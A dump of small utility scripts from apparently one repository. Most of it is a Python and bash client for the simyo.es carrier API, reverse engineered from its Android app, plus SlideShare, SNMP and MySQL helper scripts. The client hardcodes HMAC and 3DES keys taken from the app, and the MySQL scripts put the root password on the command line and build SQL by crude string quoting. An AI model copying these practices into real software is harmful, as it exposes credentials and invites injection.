GASTADOS: $usedPoints" 308 | echo "TOTAL DISPONIBLE: $totalAvailablePoints" 309 | } 310 | 311 | #### voiceCalls 312 | function voiceCalls() { 313 | local start=1 314 | local count=500 315 | URL="https://www.simyo.es/api/voiceCalls/${customerId}?msisdn=${msisdn}&sessionId=${sessionId}&billCycleType=${billCycleType}&billCycle=${billCycle}®isterDate=${registerDate}&start=${start}&count=${count}&publicKey=${kPublicKey}" 316 | apiSig=$(getApiSig $URL) 317 | URL="${URL}&apiSig=${apiSig}" 318 | curl -s "$URL" -o voiceCalls.json 319 | if [ $VERBOSE -eq 1 ]; then json_pp < voiceCalls.json ; fi 320 | } 321 | 322 | #### rechargeHistory 323 | function rechargeHistory() { 324 | local startDate=$registerDate 325 | local endDate=$(date '+%s') 326 | endDate=$(($endDate * 1000)) 327 | URL="https://www.simyo.es/api/rechargeHistory/${customerId}?msisdn=${msisdn}&sessionId=${sessionId}&billCycleType=${billCycleType}®isterDate=${registerDate}&startDate=${startDate}&endDate=${endDate}&publicKey=${kPublicKey}" 328 | apiSig=$(getApiSig $URL) 329 | URL="${URL}&apiSig=${apiSig}" 330 | curl -s "$URL" -o rechargeHistory.json 331 | if [ $VERBOSE -eq 1 ]; then json_pp < rechargeHistory.json ; fi 332 | } 333 | 334 | #### invoiceList 335 | function invoiceList() { 336 | URL="https://www.simyo.es/api/invoiceList/${customerId}?msisdn=${msisdn}&sessionId=${sessionId}&billCycleType=${billCycleType}®isterDate=${registerDate}&publicKey=${kPublicKey}" 337 | apiSig=$(getApiSig $URL) 338 | URL="${URL}&apiSig=${apiSig}" 339 | curl -s "$URL" -o invoiceList.json 340 | if [ $VERBOSE -eq 1 ]; then json_pp < invoiceList.json ; fi 341 | 342 | } 343 | 344 | #### printInvoiceList 345 | function printInvoiceList() { 346 | for i in `seq 0 6` ; do 347 | startDate=$(getJsonValue "['response']['invoiceList'][$i]['startDate']" invoiceList.json) 348 | if [ $? -eq 0 ]; then 349 | startDate=$(echo $startDate |cut -c 1-10) 350 | endDate=$(getJsonValue "['response']['invoiceList'][$i]['endDate']" invoiceList.json) 351 | endDate=$(echo $endDate |cut -c 1-10) 352 | invoiceNO=$(getJsonValue "['response']['invoiceList'][$i]['invoiceNO']" invoiceList.json) 353 | invoiceId=$(getJsonValue "['response']['invoiceList'][$i]['invoiceId']" invoiceList.json) 354 | start=$(date -d@${startDate} "+%d/%m/%y") 355 | end=$(date -d@${endDate} "+%d/%m/%y") 356 | echo "Factura $invoiceNO (id=$invoiceId) del $start al $end" 357 | fi 358 | done 359 | } 360 | 361 | #### downloadInvoice 362 | function downloadInvoice() { 363 | invoiceList # we need invoiceList.json to find the invoiceNO 364 | invoiceNO="" 365 | for i in `seq 0 6` ; do 366 | invoiceId=$(getJsonValue "['response']['invoiceList'][$i]['invoiceId']" invoiceList.json) 367 | if [ $? -eq 0 ] && [ "$reqInvoiceId" = "$invoiceId" ] ; then 368 | invoiceNO=$(getJsonValue "['response']['invoiceList'][$i]['invoiceNO']" invoiceList.json) 369 | break 370 | fi 371 | done 372 | if [ -z "$invoiceNO" ]; then 373 | echo "Can't find invoice with id = $reqInvoiceId" 374 | exit 1 375 | fi 376 | 377 | URL="https://www.simyo.es/api/downloadInvoice?sessionId=${sessionId}&invoiceNO=${invoiceNO}&invoiceId=${invoiceId}&publicKey=${kPublicKey}" 378 | apiSig=$(getApiSig $URL) 379 | URL="${URL}&apiSig=${apiSig}" 380 | curl -s "$URL" -o downloadInvoice.json 381 | if [ $VERBOSE -eq 1 ]; then json_pp < downloadInvoice.json ; fi 382 | 383 | filename=$(getJsonValue "['response']['invoice']['filename']" downloadInvoice.json) 384 | if [ -n "$filename" ]; then 385 | echo "File: $filename" 386 | content=$(getJsonValue "['response']['invoice']['content']" downloadInvoice.json) 387 | echo $content |base64 -d > "./$filename" 388 | else 389 | echo "Oops... something went wrong downloading the invoice" 390 | exit 1 391 | fi 392 | } 393 | 394 | #### logout 395 | function api_logout() { 396 | URL="https://www.simyo.es/api/logout?sessionId=${sessionId}&publicKey=${kPublicKey}" 397 | apiSig=$(getApiSig $URL) 398 | URL="${URL}&apiSig=${apiSig}" 399 | curl -s "$URL" -o logout.json 400 | if [ $VERBOSE -eq 1 ]; then json_pp < logout.json ; fi 401 | } 402 | 403 | 404 | api_login 405 | subscriptions 406 | if [ $SHOWMGM -eq 1 ]; then 407 | mgmHistory 408 | api_logout 409 | exit 410 | fi 411 | if [ $INVOICELIST -eq 1 ]; then 412 | invoiceList 413 | printInvoiceList 414 | api_logout 415 | exit 416 | fi 417 | if [ -n "$reqInvoiceId" ]; then 418 | downloadInvoice 419 | api_logout 420 | exit 421 | fi 422 | # default: 423 | consumptionByCycle 424 | api_logout 425 | 426 | #TODO: 427 | #consumptionDetailByCycle 428 | #frequentNumbers 429 | #messages 430 | #voiceCalls 431 | #rechargeHistory 432 | #https://www.simyo.es/api/contact?publicKey=${kPublicKey} 433 | -------------------------------------------------------------------------------- /simyo/old/v2/tripledes.php: -------------------------------------------------------------------------------- 1 | 38 | -------------------------------------------------------------------------------- /simyo/simyo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # 4 | # quick-n-dirty simyo.es consumption checker v3 5 | # (c) 2013 Pau Oliva - pof [at] eslack (.) org 6 | # 7 | # license: WTFPL (Do What The Fuck You Want To Public License) 8 | # 9 | # api functions reverse engineered from the com.simyo android app 10 | # 11 | # enter your simyo.es username and password below 12 | 13 | import sys 14 | import argparse 15 | import pyDes 16 | import base64 17 | import urllib 18 | import urllib2 19 | import hmac 20 | import hashlib 21 | import json 22 | import datetime 23 | import pprint 24 | import collections 25 | from time import time 26 | 27 | __author__ = 'Pau Oliva Fora' 28 | 29 | USERNAME = "" 30 | PASSWORD = "" 31 | 32 | def getApiSig(url): 33 | dig = hmac.new(b'f25a2s1m10', msg='f25a2s1m10' + url.lower(), digestmod=hashlib.sha256).digest() 34 | return url + "&apiSig=" + dig.encode('hex') 35 | 36 | def simyopass(): 37 | k = pyDes.triple_des("25d1d4cb0a08403e2acbcbe0", pyDes.ECB, "\0\0\0\0\0\0\0\0", pad=None, padmode=pyDes.PAD_PKCS5) 38 | d = urllib.quote(base64.b64encode(k.encrypt(PASSWORD)) + '\n') 39 | #print "Encrypted: %r" % d 40 | #print "Decrypted: %r" % k.decrypt(base64.b64decode(urllib.unquote(d))) 41 | return d 42 | 43 | def writeFile(filename, content): 44 | in_file = open(filename,"wb") 45 | in_file.write(content) 46 | in_file.close() 47 | 48 | def convert(data): 49 | # http://stackoverflow.com/q/1254454/ 50 | if isinstance(data, basestring): 51 | return str(data) 52 | elif isinstance(data, collections.Mapping): 53 | return dict(map(convert, data.iteritems())) 54 | elif isinstance(data, collections.Iterable): 55 | return type(data)(map(convert, data)) 56 | else: 57 | return data 58 | 59 | def epoch2date(timestamp, format='%d/%m/%Y'): 60 | timestamp = str(timestamp)[0:10] 61 | return datetime.datetime.fromtimestamp(int(timestamp)).strftime(format) 62 | 63 | def api_request(url, data="", check=True): 64 | kPublicKey="a654fb77dc654a17f65f979ba8794c34" 65 | 66 | if url[-1:] == "?": 67 | url=url + "publicKey=" + kPublicKey 68 | else: 69 | url=url + "&publicKey=" + kPublicKey 70 | 71 | url=getApiSig(url) 72 | 73 | if VERBOSE: 74 | print "URL: " + url 75 | 76 | if data=="": 77 | req = urllib2.Request(url) 78 | else: 79 | req = urllib2.Request(url,data) 80 | 81 | try: 82 | result = urllib2.urlopen(req).read() 83 | except urllib2.HTTPError as e: 84 | print e 85 | sys.exit(1) 86 | except urllib2.URLError as e: 87 | print e 88 | sys.exit(1) 89 | except: 90 | print "Unexpected error :(" 91 | raise 92 | 93 | if check==True: 94 | data = json.loads(result)['header'] 95 | if int(data['code']) != 100: 96 | print "ERROR in request:\n" + str(url) + "\n" 97 | data = convert(data) 98 | pp = pprint.PrettyPrinter(indent=0) 99 | pp.pprint(data) 100 | sys.exit(1) 101 | 102 | return result 103 | 104 | def api_logout(): 105 | URL="https://www.simyo.es/api/logout?sessionId=" + str(sessionId) 106 | result = api_request(URL,"",False) 107 | if VERBOSE: print result + "\n" 108 | 109 | def api_login(): 110 | global sessionId, customerId 111 | 112 | SIMYOPASS = simyopass() 113 | URL="https://www.simyo.es/api/login?" 114 | data = "user=" + USERNAME + "&password=" + SIMYOPASS + "&apiSig=null" 115 | result = api_request(URL,data) 116 | if VERBOSE: print result + "\n" 117 | 118 | sessionId = json.loads(result)['response']['sessionId'] 119 | customerId = json.loads(result)['response']['customerId'] 120 | 121 | def subscriptions(): 122 | global registerDate, mainProductId, billCycleType, msisdn, subscriberId, payType 123 | 124 | URL="https://www.simyo.es/api/subscriptions/" + str(customerId) + "?sessionId=" + str(sessionId) 125 | result = api_request(URL) 126 | if VERBOSE: print result + "\n" 127 | 128 | data = json.loads(result) 129 | for subscription in reversed(data['response']['subcriptions']): 130 | registerDate = subscription['registerDate'] 131 | mainProductId = subscription['mainProductId'] 132 | billCycleType = subscription['billCycleType'] 133 | msisdn = subscription['msisdn'] 134 | subscriberId = subscription['subscriberId'] 135 | payType = subscription['subscriberId'] 136 | if SHOWMSISDN: 137 | print "MSISDN: " + msisdn + " (product=" + mainProductId +")" 138 | else: 139 | if msisdn == MSISDN: 140 | break 141 | 142 | if SHOWMSISDN: 143 | api_logout() 144 | sys.exit(0) 145 | 146 | def consumptionByCycle(billCycleCount=1): 147 | URL="https://www.simyo.es/api/consumptionByCycle/" + str(customerId) + "?sessionId=" + str(sessionId) + "&msisdn=" + str(msisdn) + "&billCycleType=" + str(billCycleType) + "®isterDate=" + str(registerDate) + "&billCycle=" + str(billCycle) + "&billCycleCount=" + str(billCycleCount) + "&payType=" + str(payType) 148 | result = api_request(URL) 149 | if VERBOSE: print result + "\n" 150 | 151 | data = json.loads(result) 152 | 153 | startDate=data['response']['consumptionsByCycle'][0]['startDate'] 154 | endDate=data['response']['consumptionsByCycle'][0]['endDate'] 155 | start = epoch2date(startDate) 156 | end = epoch2date(endDate) 157 | print "\nPeriodo de " + start + " a " + end + "\n" 158 | 159 | count = data['response']['consumptionsByCycle'][0]['voice']['count'] 160 | chargeTotal = float(data['response']['consumptionsByCycle'][0]['voice']['chargeTotal']) 161 | hms = datetime.timedelta(seconds=count) 162 | print "Llamadas: " + str(hms) + " (" + str(chargeTotal) + ") EUR" 163 | 164 | count = data['response']['consumptionsByCycle'][0]['sms']['count'] 165 | chargeTotal = float(data['response']['consumptionsByCycle'][0]['sms']['chargeTotal']) 166 | print "SMS: " + str(count) + " (" + str(chargeTotal) + " EUR)" 167 | 168 | count = data['response']['consumptionsByCycle'][0]['mms']['count'] 169 | if count > 0: 170 | chargeTotal = data['response']['consumptionsByCycle'][0]['mms']['chargeTotal'] 171 | print "MMS: " + str(count) + " (" + str(chargeTotal) + " EUR)" 172 | 173 | count = data['response']['consumptionsByCycle'][0]['data']['count'] 174 | chargeTotal = float(data['response']['consumptionsByCycle'][0]['data']['chargeTotal']) 175 | count = count/1024.0/1024.0 176 | print "Datos: {0:.2f} MB (".format(count) + str(chargeTotal) + " EUR)" 177 | 178 | PRINT=1 179 | 180 | count = data['response']['consumptionsByCycle'][0]['voicePremium']['count'] 181 | if count > 0: 182 | chargeTotal = float(data['response']['consumptionsByCycle'][0]['voicePremium']['chargeTotal']) 183 | hms = datetime.timedelta(seconds=count) 184 | if PRINT: print ; PRINT=0 185 | print "Llamadas Premium: " + str(hms) + " (" + str(chargeTotal) + ") EUR" 186 | 187 | count = data['response']['consumptionsByCycle'][0]['smsPremium']['count'] 188 | if count > 0: 189 | chargeTotal = data['response']['consumptionsByCycle'][0]['smsPremium']['chargeTotal'] 190 | if PRINT: print ; PRINT=0 191 | print "SMS Premium: " + str(count) + " (" + str(chargeTotal) + " EUR)" 192 | 193 | PRINT=1 194 | 195 | count = data['response']['consumptionsByCycle'][0]['voiceOutgoingRoaming']['count'] 196 | if count > 0: 197 | chargeTotal = float(data['response']['consumptionsByCycle'][0]['voiceOutgoingRoaming']['chargeTotal']) 198 | hms = datetime.timedelta(seconds=count) 199 | if PRINT: print ; PRINT=0 200 | print "Llamadas Salientes Roaming: " + str(hms) + " (" + str(chargeTotal) + ") EUR" 201 | 202 | count = data['response']['consumptionsByCycle'][0]['voiceIngoingRoaming']['count'] 203 | if count > 0: 204 | chargeTotal = float(data['response']['consumptionsByCycle'][0]['voiceIngoingRoaming']['chargeTotal']) 205 | hms = datetime.timedelta(seconds=count) 206 | if PRINT: print ; PRINT=0 207 | print "Llamadas Entrantes Roaming: " + str(hms) + " (" + str(chargeTotal) + ") EUR" 208 | 209 | count = data['response']['consumptionsByCycle'][0]['smsRoaming']['count'] 210 | if count > 0: 211 | chargeTotal = data['response']['consumptionsByCycle'][0]['smsRoaming']['chargeTotal'] 212 | if PRINT: print ; PRINT=0 213 | print "SMS Roaming: " + str(count) + " (" + str(chargeTotal) + " EUR)" 214 | 215 | count = data['response']['consumptionsByCycle'][0]['mmsRoaming']['count'] 216 | if count > 0: 217 | chargeTotal = data['response']['consumptionsByCycle'][0]['mmsRoaming']['chargeTotal'] 218 | if PRINT: print ; PRINT=0 219 | print "MMS Roaming: " + str(count) + " (" + str(chargeTotal) + " EUR)" 220 | 221 | count = data['response']['consumptionsByCycle'][0]['dataRoaming']['count'] 222 | if count > 0: 223 | chargeTotal = float(data['response']['consumptionsByCycle'][0]['dataRoaming']['chargeTotal']) 224 | count = count/1024.0/1024.0 225 | if PRINT: print ; PRINT=0 226 | print "Datos Roaming: {0:.2f} MB (".format(count) + str(chargeTotal) + " EUR)" 227 | 228 | chargeTotal = float(data['response']['consumptionsByCycle'][0]['chargeTotal']) 229 | print "\nConsumo total: " + str(chargeTotal) + " EUR\n" 230 | 231 | def consumptionDetailByCycle(billCycleCount=1): 232 | URL="https://www.simyo.es/api/consumptionDetailByCycle/" + str(customerId) + "?msisdn=" + str(msisdn) + "&sessionId=" + str(sessionId) + "&billCycleType=" + str(billCycleType) + "&billCycle=" + str(billCycle) + "®isterDate=" + str(registerDate) + "&billCycleCount=" + str(billCycleCount) + "&payType=" + str(payType) 233 | result = api_request(URL) 234 | if VERBOSE: print result + "\n" 235 | 236 | data = json.loads(result) 237 | startDate=data['response']['consumptionDetailByCycleList'][0]['startDate'] 238 | endDate=data['response']['consumptionDetailByCycleList'][0]['endDate'] 239 | start = epoch2date(startDate) 240 | end = epoch2date(endDate) 241 | print "\nPeriodo de " + start + " a " + end + "\n" 242 | 243 | for day in data['response']['consumptionDetailByCycleList'][0]['consumptionsByDay']: 244 | date = epoch2date(day['date']) 245 | totalCharge = float(day['totalCharge']) 246 | print "{0} charge: {1}".format(date, totalCharge) 247 | 248 | # regular 249 | if 'voice' in day: 250 | hms = datetime.timedelta(seconds=day['voice']['count']) 251 | print "\tvoice: {0} ({1} EUR)".format (hms, float(day['voice']['chargeTotal'])) 252 | else: 253 | print "\tvoice: 0:00:00 (0.0 EUR)" 254 | if 'sms' in day: 255 | print "\tsms: {0} ({1} EUR)".format (day['sms']['count'], float(day['sms']['chargeTotal'])) 256 | else: 257 | print "\tsms: 0 (0.0 EUR)" 258 | if 'mms' in day: 259 | print "\tmms: {0} ({1} EUR)".format (day['mms']['count'], float(day['mms']['chargeTotal'])) 260 | if 'data' in day: 261 | print "\tdata: {0:.2f} MB ({1} EUR)".format(day['data']['count']/1024.0/1024.0, float(day['data']['chargeTotal'])) 262 | else: 263 | print "\tdata: 0 MB (0.0 EUR)" 264 | 265 | # premium 266 | if 'voicePremium' in day: 267 | hms = datetime.timedelta(seconds=day['voicePremium']['count']) 268 | print "\tPREMIUM voice: {0} ({1} EUR)".format (hms, float(day['voicePremium']['chargeTotal'])) 269 | if 'smsPremium' in day: 270 | print "\tPREMIUM sms: {0} ({1} EUR)".format (day['smsPremium']['count'], float(day['smsPremium']['chargeTotal'])) 271 | 272 | # roaming 273 | if 'voiceIngoingRoaming' in day: 274 | hms = datetime.timedelta(seconds=day['voiceIngoingRoaming']['count']) 275 | print "\tROAMING incoming voice: {0} ({1} EUR)".format (hms, float(day['voiceIngoingRoaming']['chargeTotal'])) 276 | if 'voiceOutgoingRoaming' in day: 277 | hms = datetime.timedelta(seconds=day['voiceOutgoingRoaming']['count']) 278 | print "\tROAMING outgoing voice: {0} ({1} EUR)".format (hms, float(day['voiceOutgoingRoaming']['chargeTotal'])) 279 | if 'smsRoaming' in day: 280 | print "\tROAMING sms: {0} ({1} EUR)".format (day['smsRoaming']['count'], float(day['smsRoaming']['chargeTotal'])) 281 | if 'mmsRoaming' in day: 282 | print "\tROAMING mms: {0} ({1} EUR)".format (day['mmsRoaming']['count'], float(day['mmsRoaming']['chargeTotal'])) 283 | if 'dataRoaming' in day: 284 | print "\tROAMING data: {0:.2f} MB ({1} EUR)".format(day['dataRoaming']['count']/1024.0/1024.0, float(day['dataRoaming']['chargeTotal'])) 285 | 286 | 287 | def frequentNumbers(): 288 | month=billCycle # Parameter month is mandatory 289 | URL="https://www.simyo.es/api/frequentNumbers/" + str(customerId) + "?msisdn=" + str(msisdn) + "&sessionId=" + str(sessionId) + "&billCycleType=" + str(billCycleType) + "®isterDate=" + str(registerDate) + "&month=" + str(month) 290 | result = api_request(URL) 291 | if VERBOSE: print result + "\n" 292 | 293 | data = json.loads(result) 294 | print "msisdn\t\tcount" 295 | print "-----------\t-----" 296 | for num in data['response']['frequentNumbers']: 297 | print '{0}\t{1}'.format(num['msisdn'], num['count']) 298 | 299 | def messages(): 300 | start=1 301 | count=500 302 | URL="https://www.simyo.es/api/messages/" + str(customerId) + "?msisdn=" + str(msisdn) + "&sessionId=" + str(sessionId) + "&billCycleType=" + str(billCycleType) + "&billCycle=" + str(billCycle) + "®isterDate=" + str(registerDate) + "&start=" + str(start) + "&count=" + str(count) 303 | result = api_request(URL) 304 | if VERBOSE: print result + "\n" 305 | 306 | data = json.loads(result) 307 | startDate=data['response']['sms']['startDate'] 308 | endDate=data['response']['sms']['endDate'] 309 | start = epoch2date(startDate) 310 | end = epoch2date(endDate) 311 | print "\nPeriodo de " + start + " a " + end + "\n" 312 | 313 | print "date cost duration category msisdn" 314 | print "------------------- -------- -------- -------- -----------" 315 | for sms in reversed(data['response']['sms']['messagesInfo']): 316 | date = epoch2date(sms['date'], '%d/%m/%Y %H:%M:%S') 317 | duration = datetime.timedelta(seconds=sms['duration']) 318 | print '{0}\t{1}\t{2}\t\t{3}\t\t{4}'.format(date, sms['charge'], duration, sms['category'], sms['msisdn']) 319 | print 320 | 321 | def voiceCalls(): 322 | start=1 323 | count=500 324 | URL="https://www.simyo.es/api/voiceCalls/" + str(customerId) + "?msisdn=" + str(msisdn) + "&sessionId=" + str(sessionId) + "&billCycleType=" + str(billCycleType) + "&billCycle=" + str(billCycle) + "®isterDate=" + str(registerDate) + "&start=" + str(start) + "&count=" + str(count) 325 | result = api_request(URL) 326 | if VERBOSE: print result + "\n" 327 | 328 | data = json.loads(result) 329 | startDate=data['response']['voiceCalls']['startDate'] 330 | endDate=data['response']['voiceCalls']['endDate'] 331 | start = epoch2date(startDate) 332 | end = epoch2date(endDate) 333 | print "\nPeriodo de " + start + " a " + end + "\n" 334 | 335 | print "date type duration category msisdn" 336 | print "------------------- -------- -------- -------- -----------" 337 | for call in reversed(data['response']['voiceCalls']['voiceCallInfo']): 338 | date = epoch2date(call['date'], '%d/%m/%Y %H:%M:%S') 339 | if call['type'] == 1: 340 | calltype="Outgoing" 341 | elif call['type'] == 2: 342 | calltype="Incoming" 343 | else: 344 | calltype=call['type'] 345 | duration = datetime.timedelta(seconds=call['duration']) 346 | print '{0}\t{1}\t{2}\t\t{3}\t\t{4}'.format(date, calltype, duration, call['category'], call['msisdn']) 347 | print 348 | 349 | def rechargeHistory(): 350 | startDate=registerDate 351 | endDate = time() 352 | endDate = int(endDate) * 1000 353 | URL="https://www.simyo.es/api/rechargeHistory/" + str(customerId) + "?msisdn=" + str(msisdn) + "&sessionId=" + str(sessionId) + "&billCycleType=" + str(billCycleType) + "®isterDate=" + str(registerDate) + "&startDate=" + str(startDate) + "&endDate=" + str(endDate) 354 | result = api_request(URL) 355 | if VERBOSE: print result + "\n" 356 | 357 | print "\nHistorico de regargas:\n" 358 | 359 | print 'date\t\t\t\tfee' 360 | print '-------------------\t\t----' 361 | data = json.loads(result) 362 | for recharge in data['response']['rechargeHistory']: 363 | date = epoch2date(recharge['date'], '%d/%m/%Y %H:%M:%S') 364 | fee = recharge['fee'] 365 | print '{0}\t\t{1}'.format(date, fee) 366 | 367 | def mgmHistory(): 368 | URL="https://www.simyo.es/api/mgmHistory/" + str(customerId) + "?sessionId=" + str(sessionId) 369 | result = api_request(URL) 370 | if VERBOSE: print result + "\n" 371 | 372 | data = json.loads(result) 373 | receivedPoints=data['response']['mgmHistoryList']['receivedPoints'] 374 | usedPoints=data['response']['mgmHistoryList']['usedPoints'] 375 | totalAvailablePoints=data['response']['mgmHistoryList']['totalAvailablePoints'] 376 | 377 | print "EUROS GANADOS: " + str(receivedPoints) 378 | print "EUROS GASTADOS: " + str(usedPoints) 379 | print "TOTAL DISPONIBLE: " + str(totalAvailablePoints) 380 | 381 | def invoiceList(): 382 | URL="https://www.simyo.es/api/invoiceList/" + str(customerId) + "?msisdn=" + str(msisdn) + "&sessionId=" + str(sessionId) + "&billCycleType=" + str(billCycleType) + "®isterDate=" + str(registerDate) 383 | result = api_request(URL) 384 | if VERBOSE: print result + "\n" 385 | 386 | data = json.loads(result) 387 | return data 388 | 389 | def printInvoiceList(): 390 | data = invoiceList() 391 | for invoice in data['response']['invoiceList']: 392 | startDate=invoice['startDate'] 393 | endDate=invoice['endDate'] 394 | invoiceNO=invoice['invoiceNO'] 395 | invoiceId=invoice['invoiceId'] 396 | start = epoch2date(startDate) 397 | end = epoch2date(endDate) 398 | print "Factura " + str(invoiceNO) + " (id=" + str(invoiceId) + ") del " + str(start) + " al " + str(end) 399 | 400 | def downloadInvoice(): 401 | data = invoiceList() 402 | for invoice in data['response']['invoiceList']: 403 | invoiceId=invoice['invoiceId'] 404 | if invoiceId == reqInvoiceId: 405 | invoiceNO=invoice['invoiceNO'] 406 | break 407 | if invoiceNO=="": 408 | print "Can't find invoice with id = " + str(reqInvoiceId) 409 | sys.exit(1) 410 | 411 | URL="https://www.simyo.es/api/downloadInvoice?sessionId=" + str (sessionId) + "&invoiceNO=" + str(invoiceNO) + "&invoiceId=" + str(invoiceId) 412 | result = api_request(URL) 413 | if VERBOSE: print result + "\n" 414 | 415 | data = json.loads(result) 416 | filename = data['response']['invoice']['filename'] 417 | print "File: " + str(filename) 418 | content=base64.b64decode(data['response']['invoice']['content']) 419 | writeFile(filename, content) 420 | 421 | def parse_cmd(): 422 | global VERBOSE, INVOICELIST, MSISDN, SHOWMSISDN, SHOWMGM, INVOICEDOWNLOAD, VOICECALLS, MESSAGES, RECHARGE, FREQUENT, BYDAY 423 | global billCycle, reqInvoiceId 424 | 425 | parser = argparse.ArgumentParser() 426 | parser.add_argument('-v', '--verbose', dest='verbose', action='store_true', help='verbose mode') 427 | parser.add_argument('-c', '--bycycle', dest='bycyle', action='store_true', help='show consumption detail by billing cycle (default)') 428 | parser.add_argument('-y', '--byday', dest='byday', action='store_true', help='show consumption detail by day') 429 | parser.add_argument('-l', '--listinvoice', dest='invoicelist', action='store_true', help='list all downloadable invoices') 430 | parser.add_argument('-s', '--showmsisdn', dest='showmsisdn', action='store_true', help='list the msisdns available in the account') 431 | parser.add_argument('-g', '--mgm', dest='showmgm', action='store_true', help='show member-get-member history') 432 | parser.add_argument('-o', '--voicecalls', dest='voicecalls', action='store_true', help='show voice call records') 433 | parser.add_argument('-e', '--messages', dest='messages', action='store_true', help='show sms records') 434 | parser.add_argument('-r', '--recharge', dest='recharge', action='store_true', help='show recharge history') 435 | parser.add_argument('-f', '--frequent', dest='frequent', action='store_true', help='show frequent numbers') 436 | 437 | parser.add_argument('-b', '--billcycle', dest='billCycle', help='specify the billing cycle (from 1 to 6), default=1') 438 | parser.add_argument('-m', '--msisdn', dest='msisdn', help='specify the msisdn if you have more than 1 line') 439 | parser.add_argument('-d', '--download', dest='invoice_id', help='download invoice specified by INVOICE_ID') 440 | args = parser.parse_args() 441 | 442 | if USERNAME=="": 443 | print "Edit the script to enter your username/password" 444 | sys.exit(1) 445 | 446 | VERBOSE = args.verbose 447 | MSISDN = args.msisdn 448 | SHOWMSISDN = args.showmsisdn 449 | SHOWMGM = args.showmgm 450 | INVOICELIST = args.invoicelist 451 | VOICECALLS = args.voicecalls 452 | MESSAGES = args.messages 453 | RECHARGE = args.recharge 454 | FREQUENT = args.frequent 455 | BYDAY = args.byday 456 | 457 | if args.invoice_id == None: 458 | INVOICEDOWNLOAD=0 459 | else: 460 | reqInvoiceId = args.invoice_id 461 | INVOICEDOWNLOAD=1 462 | 463 | if args.billCycle == None: 464 | billCycle = int(1) 465 | else: 466 | billCycle = int(args.billCycle) 467 | 468 | if (billCycle > 6) or (billCycle < 1): 469 | sys.stderr.write('Billing Cycle must be an integer from 1 (current month) to 6\n'); 470 | sys.exit(1) 471 | 472 | if __name__ == '__main__': 473 | parse_cmd() 474 | api_login() 475 | subscriptions() 476 | if BYDAY: 477 | consumptionDetailByCycle() 478 | api_logout() 479 | sys.exit(0) 480 | if FREQUENT: 481 | frequentNumbers() 482 | api_logout() 483 | sys.exit(0) 484 | if RECHARGE: 485 | rechargeHistory() 486 | api_logout() 487 | sys.exit(0) 488 | if MESSAGES: 489 | messages() 490 | api_logout() 491 | sys.exit(0) 492 | if VOICECALLS: 493 | voiceCalls() 494 | api_logout() 495 | sys.exit(0) 496 | if SHOWMGM: 497 | mgmHistory() 498 | api_logout() 499 | sys.exit(0) 500 | if INVOICELIST: 501 | printInvoiceList() 502 | api_logout() 503 | sys.exit(0) 504 | if INVOICEDOWNLOAD: 505 | downloadInvoice() 506 | api_logout() 507 | sys.exit(0) 508 | # default if no parameters specified 509 | consumptionByCycle() 510 | api_logout() 511 | sys.exit(0) 512 | 513 | #TODO: 514 | #https://www.simyo.es/api/contact 515 | -------------------------------------------------------------------------------- /slideshare/slideshare.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # quick-n-dirty slideshare search by command line :) 3 | # (c) 2012 pau oliva fora 4 | 5 | if [ -z $1 ]; then 6 | echo "Usage: $0 [search query]" 7 | exit 1 8 | fi 9 | 10 | echo "Searching slideshare for: $*" 11 | 12 | query=`echo $* | xxd -plain | tr -d '\n' | sed 's/\(..\)/%\1/g'` 13 | 14 | curl -s "http://www.slideshare.net/search/slideshow.json?q=$query&type=presentations&sort=latest&ud=any&ft=all&ru=undefined&qf=default" -o - |sed -e "s:{:\n{:g" |cut -f 13,16 -d ":" |sed -e 's:"::g' -e "s/,id:/\//g" -e "s/,description//g" -e "s:^:http\://www.slideshare.net/:g" |grep -v "^http://www.slideshare.net/$" |grep -v "time_ago" |grep -v "category_id" 15 | -------------------------------------------------------------------------------- /snmp/test-snmp.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | IP=$1 3 | 4 | COMMUNITY="public" 5 | USER="user" 6 | PASS="pass" 7 | 8 | OID="system.sysUpTime.0" 9 | 10 | echo "Test1" 11 | snmpget -t 2 -r 3 -On -v1 -c $COMMUNITY $IP $OID 12 | echo "Test2" 13 | snmpget -v2c -c $COMMUNITY $IP $OID 14 | echo "Test3" 15 | snmpget -Oqv -lauthNoPriv -u $USER -A $PASS $IP $OID 16 | echo "Done!" 17 | -------------------------------------------------------------------------------- /sql/create-db.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | ##### CONFIGURE HERE 4 | USERNAME="username" 5 | PASSWORD="password" 6 | BBDD="database" 7 | DB_PASS="sql-password" 8 | #### 9 | 10 | echo "I will create user '${USERNAME}' and database '${BBDD}'" 11 | echo -n "Press ENTER to continue or CTRL+C to quit." 12 | read pause 13 | 14 | ### create BBDD 15 | echo "Create BBDD: ${BBDD}" 16 | mysqladmin -u root -p${DB_PASS} create ${BBDD} 17 | 18 | ### create user 19 | echo "Create USER: ${USERNAME}" 20 | QUERY="CREATE USER '${USERNAME}'@'%' IDENTIFIED BY '${PASSWORD}';" 21 | mysql -u root -p${DB_PASS} -e "$QUERY" 22 | 23 | ### create privs 24 | echo "Create PRIVILEGES" 25 | QUERY="GRANT ALL PRIVILEGES ON ${BBDD}.* TO '${USERNAME}'@'%' IDENTIFIED BY '${PASSWORD}' WITH GRANT OPTION MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0;"; 26 | mysql -u root -p${DB_PASS} -e "$QUERY" 27 | QUERY="GRANT ALL PRIVILEGES ON ${BBDD}.* TO '${USERNAME}'@'localhost' IDENTIFIED BY '${PASSWORD}' WITH GRANT OPTION MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0;"; 28 | mysql -u root -p${DB_PASS} -e "$QUERY" 29 | 30 | echo "Flush PRIVILEGES" 31 | QUERY="FLUSH PRIVILEGES;" 32 | mysql -u root -p${DB_PASS} -e "$QUERY" 33 | 34 | echo "DONE!" 35 | 36 | -------------------------------------------------------------------------------- /sql/csv2sql.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cat $1 |sed -e "s/'/\\\'/g" |sed -e "s/^/'/" |sed -e "s/;/','/g" |sed -e "s/$/'/" |sed 's/;;/;;/;s/\(^.*$\)/REPLACE INTO TABLE VALUES\(\1\);/' |mysql -u root -p"PASSWORD" DATABASE 4 | 